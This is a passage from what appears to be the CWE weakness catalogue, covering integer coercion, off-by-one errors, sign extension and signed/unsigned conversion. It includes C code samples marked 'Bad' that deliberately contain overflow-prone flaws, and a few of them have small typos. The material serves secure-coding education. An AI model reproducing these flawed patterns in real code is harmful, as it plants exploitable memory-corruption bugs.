Integer coercion refers to a set of flaws pertaining to the type casting, extension, or truncation of primitive data types.

### Extended Description

Several flaws fall under the category of integer coercion errors. For the most part, these errors in and of themselves result only in availability and data integrity issues. However, in some circumstances, they may result in other, more complicated security related flaws, such as buffer overflow conditions.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		681	Incorrect Conversion between Numeric Types	1400

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		189	Numeric Errors	2103

### Applicable Platforms

**Language** : C (Prevalence = Undetermined)  
**Language** : C++ (Prevalence = Undetermined)  
**Language** : Java (Prevalence = Undetermined)  
**Language** : C# (Prevalence = Undetermined)

### Likelihood Of Exploit

Medium

### Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (CPU)	

Scope	Impact	Likelihood
	DoS: Resource Consumption (Memory) DoS: Crash, Exit, or Restart  <i>Integer coercion often leads to undefined states of execution resulting in infinite loops or crashes.</i>	
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands  <i>In some cases, integer coercion errors can lead to exploitable buffer overflow conditions, resulting in the execution of arbitrary code.</i>	
Integrity Other	Other  <i>Integer coercion errors result in an incorrect value being stored for the variable in question.</i>	

### Potential Mitigations

#### Phase: Requirements

A language which throws exceptions on ambiguous data casts might be chosen.

#### Phase: Architecture and Design

Design objects and program flow such that multiple or complex casts are unnecessary

#### Phase: Implementation

Ensure that any data type casting that you must use is entirely understood in order to reduce the plausibility of error in use.

### Demonstrative Examples

#### Example 1:

The following code is intended to read an incoming packet from a socket and extract one or more headers.

*Example Language: C*

*(Bad)*

```
DataPacket *packet;
int numHeaders;
PacketHeader *headers;
sock=AcceptSocketConnection();
ReadPacket(packet, sock);
numHeaders =packet->headers;
if (numHeaders > 100) {
    ExitError("too many headers!");
}
headers = malloc(numHeaders * sizeof(PacketHeader);
ParsePacketHeaders(packet, headers);
```

The code performs a check to make sure that the packet does not contain too many headers. However, numHeaders is defined as a signed int, so it could be negative. If the incoming packet specifies a value such as -3, then the malloc calculation will generate a negative number (say, -300 if each header can be a maximum of 100 bytes). When this result is provided to malloc(), it is first converted to a size\_t type. This conversion then produces a large value such as 4294966996, which may cause malloc() to fail or to allocate an extremely large amount of memory (CWE-195). With the appropriate negative numbers, an attacker could trick malloc() into using a very small positive number, which then allocates a buffer that is much smaller than expected, potentially leading to a buffer overflow.

#### Example 2:

The following code reads a maximum size and performs validation on that size. It then performs a strncpy, assuming it will not exceed the boundaries of the array. While the use of "short s" is forced

in this particular example, short int's are frequently used within real-world code, such as code that processes structured data.

Example Language: C

(Bad)

```
int GetUntrustedInt () {
    return(0x0000FFFF);
}
void main (int argc, char **argv) {
    char path[256];
    char *input;
    int i;
    short s;
    unsigned int sz;
    i = GetUntrustedInt();
    s = i;
    /* s is -1 so it passes the safety check - CWE-697 */
    if (s > 256) {
        DiePainfully("go away!\n");
    }
    /* s is sign-extended and saved in sz */
    sz = s;
    /* output: i=65535, s=-1, sz=4294967295 - your mileage may vary */
    printf("i=%d, s=%d, sz=%u\n", i, s, sz);
    input = GetUserInput("Enter pathname:");
    /* strcpy interprets s as unsigned int, so it's treated as MAX_INT
    (CWE-195), enabling buffer overflow (CWE-119) */
    strcpy(path, input, s);
    path[255] = '\0'; /* don't want CWE-170 */
    printf("Path is: %s\n", path);
}
```

This code first exhibits an example of CWE-839, allowing "s" to be a negative number. When the negative short "s" is converted to an unsigned integer, it becomes an extremely large positive integer. When this converted integer is used by strcpy() it will lead to a buffer overflow (CWE-119).

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	738	CERT C Secure Coding Standard (2008) Chapter 5 - Integers (INT)	734	2135
MemberOf	C	872	CERT C++ Secure Coding Section 04 - Integers (INT)	868	2168
MemberOf	C	1158	SEI CERT C Coding Standard - Guidelines 04. Integers (INT)	1154	2249

### Notes

#### Maintenance

Within C, it might be that "coercion" is semantically different than "casting", possibly depending on whether the programmer directly specifies the conversion, or if the compiler does it implicitly. This has implications for the presentation of this entry and others, such as CWE-681, and whether there is enough of a difference for these entries to be split.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Integer coercion error
CERT C Secure Coding	INT02-C		Understand integer conversion rules



Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	INT05-C		Do not use input functions to convert character data if they cannot handle all possible inputs
CERT C Secure Coding	INT31-C	Exact	Ensure that integer conversions do not result in lost or misinterpreted data

## References

- [REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.
- [REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.
- [REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf> >.

## CWE-193: Off-by-one Error

**Weakness ID** : 193  
**Structure** : Simple  
**Abstraction** : Base

### Description

A product calculates or uses an incorrect maximum or minimum value that is 1 more, or 1 less, than the correct value.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	682	Incorrect Calculation	1403
CanPrecede	⊕	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	283
CanPrecede	⊖	170	Improper Null Termination	411
CanPrecede	⊖	617	Reachable Assertion	1297

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf	P	682	Incorrect Calculation	1403

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	⊂	189	Numeric Errors	2103

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Alternate Terms

**off-by-five** : An "off-by-five" error was reported for sudo in 2002 (CVE-2002-0184), but that is more like a "length calculation" error.

## Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Crash, Exit, or Restart DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory) DoS: Instability  <i>This weakness will generally lead to undefined behavior and therefore crashes. In the case of overflows involving loop index variables, the likelihood of infinite loops is also high.</i>	
Integrity	Modify Memory  <i>If the value in question is important to data (as opposed to flow), simple data corruption has occurred. Also, if the wrap around results in other conditions such as buffer overflows, further memory corruption may occur.</i>	
Confidentiality Availability Access Control	Execute Unauthorized Code or Commands Bypass Protection Mechanism  <i>This weakness can sometimes trigger buffer overflows which can be used to execute arbitrary code. This is usually outside the scope of a program's implicit security policy.</i>	

## Potential Mitigations

### Phase: Implementation

When copying character arrays or using character manipulation methods, the correct size parameter must be used to account for the null terminator that needs to be added at the end of the array. Some examples of functions susceptible to this weakness in C include strcpy(), strncpy(), strcat(), strncat(), printf(), sprintf(), scanf() and sscanf().

## Demonstrative Examples

### Example 1:

The following code allocates memory for a maximum number of widgets. It then gets a user-specified number of widgets, making sure that the user does not request too many. It then initializes the elements of the array using InitializeWidget(). Because the number of widgets can vary for each request, the code inserts a NULL pointer to signify the location of the last widget.

Example Language: C

(Bad)

```
int i;
unsigned int numWidgets;
Widget **WidgetList;
numWidgets = GetUntrustedSizeValue();
if ((numWidgets == 0) || (numWidgets > MAX_NUM_WIDGETS)) {
    ExitError("Incorrect number of widgets requested!");
}
WidgetList = (Widget **)malloc(numWidgets * sizeof(Widget *));
printf("WidgetList ptr=%p\n", WidgetList);
for(i=0; i<numWidgets; i++) {
    WidgetList[i] = InitializeWidget();
}
WidgetList[numWidgets] = NULL;
showWidgets(WidgetList);
```

However, this code contains an off-by-one calculation error (CWE-193). It allocates exactly enough space to contain the specified number of widgets, but it does not include the space for the NULL pointer. As a result, the allocated buffer is smaller than it is supposed to be (CWE-131). So if

the user ever requests MAX\_NUM\_WIDGETS, there is an out-of-bounds write (CWE-787) when the NULL is assigned. Depending on the environment and compilation settings, this could cause memory corruption.

### Example 2:

In this example, the code does not account for the terminating null character, and it writes one byte beyond the end of the buffer.

The first call to `strncat()` appends up to 20 characters plus a terminating null character to `fullname[]`. There is plenty of allocated space for this, and there is no weakness associated with this first call. However, the second call to `strncat()` potentially appends another 20 characters. The code does not account for the terminating null character that is automatically added by `strncat()`. This terminating null character would be written one byte beyond the end of the `fullname[]` buffer. Therefore an off-by-one error exists with the second `strncat()` call, as the third argument should be 19.

Example Language: C

(Bad)

```
char firstname[20];
char lastname[20];
char fullname[40];
fullname[0] = '\0';
strncat(fullname, firstname, 20);
strncat(fullname, lastname, 20);
```

When using a function like `strncat()` one must leave a free byte at the end of the buffer for a terminating null character, thus avoiding the off-by-one weakness. Additionally, the last argument to `strncat()` is the number of characters to append, which must be less than the remaining space in the buffer. Be careful not to just use the total size of the buffer.

Example Language: C

(Good)

```
char firstname[20];
char lastname[20];
char fullname[40];
fullname[0] = '\0';
strncat(fullname, firstname, sizeof(fullname)-strlen(fullname)-1);
strncat(fullname, lastname, sizeof(fullname)-strlen(fullname)-1);
```

### Example 3:

The Off-by-one error can also be manifested when reading characters from a character array within a for loop that has an incorrect continuation condition.

Example Language: C

(Bad)

```
#define PATH_SIZE 60
char filename[PATH_SIZE];
for(i=0; i<=PATH_SIZE; i++) {
    char c = getc();
    if (c == 'EOF') {
        filename[i] = '\0';
    }
    filename[i] = getc();
}
```

In this case, the correct continuation condition is shown below.

Example Language: C

(Good)

```
for(i=0; i<PATH_SIZE; i++) {
    ...
}
```

#### Example 4:

As another example the Off-by-one error can occur when using the sprintf library function to copy a string variable to a formatted string variable and the original string variable comes from an untrusted source. As in the following example where a local function, setFilename is used to store the value of a filename to a database but first uses sprintf to format the filename. The setFilename function includes an input parameter with the name of the file that is used as the copy source in the sprintf function. The sprintf function will copy the file name to a char array of size 20 and specifies the format of the new variable as 16 characters followed by the file extension .dat.

Example Language: C

(Bad)

```
int setFilename(char *filename) {
    char name[20];
    sprintf(name, "%16s.dat", filename);
    int success = saveFormattedFilenameToDB(name);
    return success;
}
```

However this will cause an Off-by-one error if the original filename is exactly 16 characters or larger because the format of 16 characters with the file extension is exactly 20 characters and does not take into account the required null terminator that will be placed at the end of the string.

#### Observed Examples

Reference	Description
<b>CVE-2003-0252</b>	Off-by-one error allows remote attackers to cause a denial of service and possibly execute arbitrary code via requests that do not contain newlines. <a href="https://www.cve.org/CVERecord?id=CVE-2003-0252">https://www.cve.org/CVERecord?id=CVE-2003-0252</a>
<b>CVE-2001-1391</b>	Off-by-one vulnerability in driver allows users to modify kernel memory. <a href="https://www.cve.org/CVERecord?id=CVE-2001-1391">https://www.cve.org/CVERecord?id=CVE-2001-1391</a>
<b>CVE-2002-0083</b>	Off-by-one error allows local users or remote malicious servers to gain privileges. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0083">https://www.cve.org/CVERecord?id=CVE-2002-0083</a>
<b>CVE-2002-0653</b>	Off-by-one buffer overflow in function used by server allows local users to execute arbitrary code as the server user via .htaccess files with long entries. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0653">https://www.cve.org/CVERecord?id=CVE-2002-0653</a>
<b>CVE-2002-0844</b>	Off-by-one buffer overflow in version control system allows local users to execute arbitrary code. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0844">https://www.cve.org/CVERecord?id=CVE-2002-0844</a>
<b>CVE-1999-1568</b>	Off-by-one error in FTP server allows a remote attacker to cause a denial of service (crash) via a long PORT command. <a href="https://www.cve.org/CVERecord?id=CVE-1999-1568">https://www.cve.org/CVERecord?id=CVE-1999-1568</a>
<b>CVE-2004-0346</b>	Off-by-one buffer overflow in FTP server allows local users to gain privileges via a 1024 byte RETR command. <a href="https://www.cve.org/CVERecord?id=CVE-2004-0346">https://www.cve.org/CVERecord?id=CVE-2004-0346</a>
<b>CVE-2004-0005</b>	Multiple buffer overflows in chat client allow remote attackers to cause a denial of service and possibly execute arbitrary code. <a href="https://www.cve.org/CVERecord?id=CVE-2004-0005">https://www.cve.org/CVERecord?id=CVE-2004-0005</a>
<b>CVE-2003-0356</b>	Multiple off-by-one vulnerabilities in product allow remote attackers to cause a denial of service and possibly execute arbitrary code. <a href="https://www.cve.org/CVERecord?id=CVE-2003-0356">https://www.cve.org/CVERecord?id=CVE-2003-0356</a>
<b>CVE-2001-1496</b>	Off-by-one buffer overflow in server allows remote attackers to cause a denial of service and possibly execute arbitrary code. <a href="https://www.cve.org/CVERecord?id=CVE-2001-1496">https://www.cve.org/CVERecord?id=CVE-2001-1496</a>
<b>CVE-2004-0342</b>	This is an interesting example that might not be an off-by-one. <a href="https://www.cve.org/CVERecord?id=CVE-2004-0342">https://www.cve.org/CVERecord?id=CVE-2004-0342</a>

Reference	Description
<b>CVE-2001-0609</b>	An off-by-one enables a terminating null to be overwritten, which causes 2 strings to be merged and enable a format string. <a href="https://www.cve.org/CVERecord?id=CVE-2001-0609">https://www.cve.org/CVERecord?id=CVE-2001-0609</a>
<b>CVE-2002-1745</b>	Off-by-one error allows source code disclosure of files with 4 letter extensions that match an accepted 3-letter extension. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1745">https://www.cve.org/CVERecord?id=CVE-2002-1745</a>
<b>CVE-2002-1816</b>	Off-by-one buffer overflow. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1816">https://www.cve.org/CVERecord?id=CVE-2002-1816</a>
<b>CVE-2002-1721</b>	Off-by-one error causes an sprintf call to overwrite a critical internal variable with a null value. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1721">https://www.cve.org/CVERecord?id=CVE-2002-1721</a>
<b>CVE-2003-0466</b>	Off-by-one error in function used in many products leads to a buffer overflow during pathname management, as demonstrated using multiple commands in an FTP server. <a href="https://www.cve.org/CVERecord?id=CVE-2003-0466">https://www.cve.org/CVERecord?id=CVE-2003-0466</a>
<b>CVE-2003-0625</b>	Off-by-one error allows read of sensitive memory via a malformed request. <a href="https://www.cve.org/CVERecord?id=CVE-2003-0625">https://www.cve.org/CVERecord?id=CVE-2003-0625</a>
<b>CVE-2006-4574</b>	Chain: security monitoring product has an off-by-one error that leads to unexpected length values, triggering an assertion. <a href="https://www.cve.org/CVERecord?id=CVE-2006-4574">https://www.cve.org/CVERecord?id=CVE-2006-4574</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	741	CERT C Secure Coding Standard (2008) Chapter 8 - Characters and Strings (STR)	734	2138
MemberOf	<b>C</b>	875	CERT C++ Secure Coding Section 07 - Characters and Strings (STR)	868	2169
MemberOf	<b>V</b>	884	CWE Cross-section	884	2327
MemberOf	<b>C</b>	977	SFP Secondary Cluster: Design	888	2200

### Notes

#### Relationship

This is not always a buffer overflow. For example, an off-by-one error could be a factor in a partial comparison, a read from the wrong memory location, an incorrect conditional, etc.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Off-by-one Error
CERT C Secure Coding	STR31-C		Guarantee that storage for strings has sufficient space for character data and the null terminator

### References

- [REF-155]Halvar Flake. "Third Generation Exploits". presentation at Black Hat Europe 2001. < <http://www.blackhat.com/presentations/bh-europe-01/halvar-flake/bh-europe-01-halvarflake.ppt> >.
- [REF-156]Steve Christey. "Off-by-one errors: a brief explanation". Secprog and SC-L mailing list posts. 2004 May 5. < <http://marc.info/?l=secprog&m=108379742110553&w=2> >.
- [REF-157]klog. "The Frame Pointer Overwrite". Phrack Issue 55, Chapter 8. 1999 September 9. < <http://kaizo.org/mirrors/phrack/phrack55/P55-08> >.

[REF-140]Greg Hoglund and Gary McGraw. "Exploiting Software: How to Break Code". 2004 February 7. Addison-Wesley. < <https://www.amazon.com/Exploiting-Software-How-Break-Code/dp/0201786958> >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

## CWE-194: Unexpected Sign Extension

**Weakness ID** : 194  
**Structure** : Simple  
**Abstraction** : Variant

### Description

The product performs an operation on a number that causes it to be sign extended when it is transformed into a larger data type. When the original number is negative, this can produce unexpected values that lead to resultant weaknesses.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		681	Incorrect Conversion between Numeric Types	1400

*Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)*

Nature	Type	ID	Name	Page
ChildOf		681	Incorrect Conversion between Numeric Types	1400

*Relevant to the view "CISQ Data Protection Measures" (CWE-1340)*

Nature	Type	ID	Name	Page
ChildOf		681	Incorrect Conversion between Numeric Types	1400

### Applicable Platforms

**Language** : C (Prevalence = Undetermined)

**Language** : C++ (Prevalence = Undetermined)

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Integrity	Read Memory	
Confidentiality	Modify Memory	
Availability	Other	
Other	<i>When an unexpected sign extension occurs in code that operates directly on memory buffers, such as a size value or a memory index, then it could cause the program to write or read outside the boundaries of the intended buffer.</i>	



Scope	Impact	Likelihood
	<i>If the numeric value is associated with an application-level resource, such as a quantity or price for a product in an e-commerce site, then the sign extension could produce a value that is much higher (or lower) than the application's allowable range.</i>	

## Potential Mitigations

### Phase: Implementation

Avoid using signed variables if you don't need to represent negative values. When negative values are needed, perform validation after you save those values to larger data types, or before passing them to functions that are expecting unsigned values.

## Demonstrative Examples

### Example 1:

The following code reads a maximum size and performs a sanity check on that size. It then performs a `strncpy`, assuming it will not exceed the boundaries of the array. While the use of "short s" is forced in this particular example, short int's are frequently used within real-world code, such as code that processes structured data.

Example Language: C

(Bad)

```
int GetUntrustedInt () {
    return(0x0000FFFF);
}
void main (int argc, char **argv) {
    char path[256];
    char *input;
    int i;
    short s;
    unsigned int sz;
    i = GetUntrustedInt();
    s = i;
    /* s is -1 so it passes the safety check - CWE-697 */
    if (s > 256) {
        DiePainfully("go away!\n");
    }
    /* s is sign-extended and saved in sz */
    sz = s;
    /* output: i=65535, s=-1, sz=4294967295 - your mileage may vary */
    printf("i=%d, s=%d, sz=%u\n", i, s, sz);
    input = GetUserInput("Enter pathname:");
    /* strncpy interprets s as unsigned int, so it's treated as MAX_INT
    (CWE-195), enabling buffer overflow (CWE-119) */
    strncpy(path, input, s);
    path[255] = '\0'; /* don't want CWE-170 */
    printf("Path is: %s\n", path);
}
```

This code first exhibits an example of CWE-839, allowing "s" to be a negative number. When the negative short "s" is converted to an unsigned integer, it becomes an extremely large positive integer. When this converted integer is used by `strncpy()` it will lead to a buffer overflow (CWE-119).

## Observed Examples

Reference	Description
<b>CVE-2018-10887</b>	Chain: unexpected sign extension (CWE-194) leads to integer overflow (CWE-190), causing an out-of-bounds read (CWE-125) <a href="https://www.cve.org/CVERecord?id=CVE-2018-10887">https://www.cve.org/CVERecord?id=CVE-2018-10887</a>
<b>CVE-1999-0234</b>	Sign extension error produces -1 value that is treated as a command separator, enabling OS command injection.

Reference	Description
	<a href="https://www.cve.org/CVERecord?id=CVE-1999-0234">https://www.cve.org/CVERecord?id=CVE-1999-0234</a>
<b>CVE-2003-0161</b>	Product uses "char" type for input character. When char is implemented as a signed type, ASCII value 0xFF (255), a sign extension produces a -1 value that is treated as a program-specific separator value, effectively disabling a length check and leading to a buffer overflow. This is also a multiple interpretation error. <a href="https://www.cve.org/CVERecord?id=CVE-2003-0161">https://www.cve.org/CVERecord?id=CVE-2003-0161</a>
<b>CVE-2007-4988</b>	chain: signed short width value in image processor is sign extended during conversion to unsigned int, which leads to integer overflow and heap-based buffer overflow. <a href="https://www.cve.org/CVERecord?id=CVE-2007-4988">https://www.cve.org/CVERecord?id=CVE-2007-4988</a>
<b>CVE-2006-1834</b>	chain: signedness error allows bypass of a length check; later sign extension makes exploitation easier. <a href="https://www.cve.org/CVERecord?id=CVE-2006-1834">https://www.cve.org/CVERecord?id=CVE-2006-1834</a>
<b>CVE-2005-2753</b>	Sign extension when manipulating Pascal-style strings leads to integer overflow and improper memory copy. <a href="https://www.cve.org/CVERecord?id=CVE-2005-2753">https://www.cve.org/CVERecord?id=CVE-2005-2753</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf		998	SFP Secondary Cluster: Glitch in Computation	888	2212
MemberOf		1158	SEI CERT C Coding Standard - Guidelines 04. Integers (INT)	1154	2249

### Notes

#### Relationship

Sign extension errors can lead to buffer overflows and other memory-based problems. They are also likely to be factors in other weaknesses that are not based on memory operations, but rely on numeric calculation.

#### Maintenance

This entry is closely associated with signed-to-unsigned conversion errors (CWE-195) and other numeric errors. These relationships need to be more closely examined within CWE.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Sign extension error
Software Fault Patterns	SFP1		Glitch in computation
CERT C Secure Coding	INT31-C	CWE More Specific	Ensure that integer conversions do not result in lost or misinterpreted data

### References

- [REF-161]John McDonald, Mark Dowd and Justin Schuh. "C Language Issues for Application Security". 2008 January 5. < <http://www.informit.com/articles/article.aspx?p=686170&seqNum=6> >.
- [REF-162]Robert Seacord. "Integral Security". 2006 November 3. < <http://www.ddj.com/security/193501774> >.
- [REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf> >.

## CWE-195: Signed to Unsigned Conversion Error

**Weakness ID** : 195

**Structure** : Simple

**Abstraction** : Variant

### Description

The product uses a signed primitive and performs a cast to an unsigned primitive, which can produce an unexpected value if the value of the signed primitive can not be represented using an unsigned primitive.

### Extended Description




It is dangerous to rely on implicit casts between signed and unsigned numbers because the result can take on an unexpected value and violate assumptions made by the program.

Often, functions will return negative values to indicate a failure. When the result of a function is to be used as a size parameter, using these negative return values can have unexpected results. For example, if negative size values are passed to the standard memory copy or allocation functions they will be implicitly cast to a large unsigned value. This may lead to an exploitable buffer overflow or underflow condition.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		681	Incorrect Conversion between Numeric Types	1400
CanFollow		839	Numeric Range Comparison Without Minimum Check	1644
CanPrecede		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	283

*Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)*

Nature	Type	ID	Name	Page
ChildOf		681	Incorrect Conversion between Numeric Types	1400

*Relevant to the view "CISQ Data Protection Measures" (CWE-1340)*

Nature	Type	ID	Name	Page
ChildOf		681	Incorrect Conversion between Numeric Types	1400

### Applicable Platforms

**Language** : C (Prevalence = Undetermined)

**Language** : C++ (Prevalence = Undetermined)

### Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State  <i>Conversion between signed and unsigned values can lead to a variety of errors, but from a security standpoint is most commonly associated with integer overflow and buffer overflow vulnerabilities.</i>	

### Demonstrative Examples

**Example 1:**

In this example the variable amount can hold a negative value when it is returned. Because the function is declared to return an unsigned int, amount will be implicitly converted to unsigned.

*Example Language: C*

*(Bad)*

```
unsigned int readdata () {
    int amount = 0;
    ...
    if (result == ERROR)
        amount = -1;
    ...
    return amount;
}
```

If the error condition in the code above is met, then the return value of readdata() will be 4,294,967,295 on a system that uses 32-bit integers.

**Example 2:**

In this example, depending on the return value of accessmainframe(), the variable amount can hold a negative value when it is returned. Because the function is declared to return an unsigned value, amount will be implicitly cast to an unsigned number.

*Example Language: C*

*(Bad)*

```
unsigned int readdata () {
    int amount = 0;
    ...
    amount = accessmainframe();
    ...
    return amount;
}
```

If the return value of accessmainframe() is -1, then the return value of readdata() will be 4,294,967,295 on a system that uses 32-bit integers.

**Example 3:**

The following code is intended to read an incoming packet from a socket and extract one or more headers.

*Example Language: C*

*(Bad)*

```
DataPacket *packet;
int numHeaders;
PacketHeader *headers;
sock=AcceptSocketConnection();
ReadPacket(packet, sock);
numHeaders =packet->headers;
if (numHeaders > 100) {
    ExitError("too many headers!");
}
headers = malloc(numHeaders * sizeof(PacketHeader));
ParsePacketHeaders(packet, headers);
```

The code performs a check to make sure that the packet does not contain too many headers. However, numHeaders is defined as a signed int, so it could be negative. If the incoming packet specifies a value such as -3, then the malloc calculation will generate a negative number (say, -300 if each header can be a maximum of 100 bytes). When this result is provided to malloc(), it is first converted to a size\_t type. This conversion then produces a large value such as 4294966996, which may cause malloc() to fail or to allocate an extremely large amount of memory (CWE-195). With the appropriate negative numbers, an attacker could trick malloc() into using a very small

positive number, which then allocates a buffer that is much smaller than expected, potentially leading to a buffer overflow.

#### Example 4:

This example processes user input comprised of a series of variable-length structures. The first 2 bytes of input dictate the size of the structure to be processed.

Example Language: C

(Bad)

```
char* processNext(char* strm) {
    char buf[512];
    short len = *(short*) strm;
    strm += sizeof(len);
    if (len <= 512) {
        memcpy(buf, strm, len);
        process(buf);
        return strm + len;
    }
    else {
        return -1;
    }
}
```

The programmer has set an upper bound on the structure size: if it is larger than 512, the input will not be processed. The problem is that `len` is a signed short, so the check against the maximum structure length is done with signed values, but `len` is converted to an unsigned integer for the call to `memcpy()` and the negative bit will be extended to result in a huge value for the unsigned integer. If `len` is negative, then it will appear that the structure has an appropriate size (the if branch will be taken), but the amount of memory copied by `memcpy()` will be quite large, and the attacker will be able to overflow the stack with data in `strm`.

#### Example 5:

In the following example, it is possible to request that `memcpy` move a much larger segment of memory than assumed:

Example Language: C

(Bad)

```
int returnChunkSize(void *) {
    /* if chunk info is valid, return the size of usable memory,
     * else, return -1 to indicate an error
     */
    ...
}
int main() {
    ...
    memcpy(destBuf, srcBuf, (returnChunkSize(destBuf)-1));
    ...
}
```

If `returnChunkSize()` happens to encounter an error it will return `-1`. Notice that the return value is not checked before the `memcpy` operation (CWE-252), so `-1` can be passed as the size argument to `memcpy()` (CWE-805). Because `memcpy()` assumes that the value is unsigned, it will be interpreted as `MAXINT-1` (CWE-195), and therefore will copy far more memory than is likely available to the destination buffer (CWE-787, CWE-788).

#### Example 6:

This example shows a typical attempt to parse a string with an error resulting from a difference in assumptions between the caller to a function and the function's action.

Example Language: C

(Bad)

```
int proc_msg(char *s, int msg_len)
```

```

{
// Note space at the end of the string - assume all strings have preamble with space
int pre_len = sizeof("preamble: ");
char buff[pre_len - msg_len];
... Do processing here if we get this far
}
char *s = "preamble: message\n";
char *sl = strchr(s, ':'); // Number of characters up to ':' (not including space)
int jnklen = sl == NULL ? 0 : sl - s; // If undefined pointer, use zero length
int ret_val = proc_msg ("s", jnklen); // Violate assumption of preamble length, end up with negative value, blow out stack

```

The buffer length ends up being -1, resulting in a blown out stack. The space character after the colon is included in the function calculation, but not in the caller's calculation. This, unfortunately, is not usually so obvious but exists in an obtuse series of calculations.

### Observed Examples

Reference	Description
<b>CVE-2007-4268</b>	Chain: integer signedness error (CWE-195) passes signed comparison, leading to heap overflow (CWE-122) <a href="https://www.cve.org/CVERecord?id=CVE-2007-4268">https://www.cve.org/CVERecord?id=CVE-2007-4268</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		998	SFP Secondary Cluster: Glitch in Computation	888	2212
MemberOf		1158	SEI CERT C Coding Standard - Guidelines 04. Integers (INT)	1154	2249

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Signed to unsigned conversion error
Software Fault Patterns	SFP1		Glitch in computation
CERT C Secure Coding	INT31-C	CWE More Specific	Ensure that integer conversions do not result in lost or misinterpreted data

### References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf> >.

## CWE-196: Unsigned to Signed Conversion Error

**Weakness ID** : 196

**Structure** : Simple

**Abstraction** : Variant

### Description

The product uses an unsigned primitive and performs a cast to a signed primitive, which can produce an unexpected value if the value of the unsigned primitive can not be represented using a signed primitive.

### Extended Description



Although less frequent an issue than signed-to-unsigned conversion, unsigned-to-signed conversion can be the perfect precursor to dangerous buffer underwrite conditions that allow attackers to move down the stack where they otherwise might not have access in a normal buffer overflow condition. Buffer underwrites occur frequently when large unsigned values are cast to signed values, and then used as indexes into a buffer or for pointer arithmetic.

## Relationships

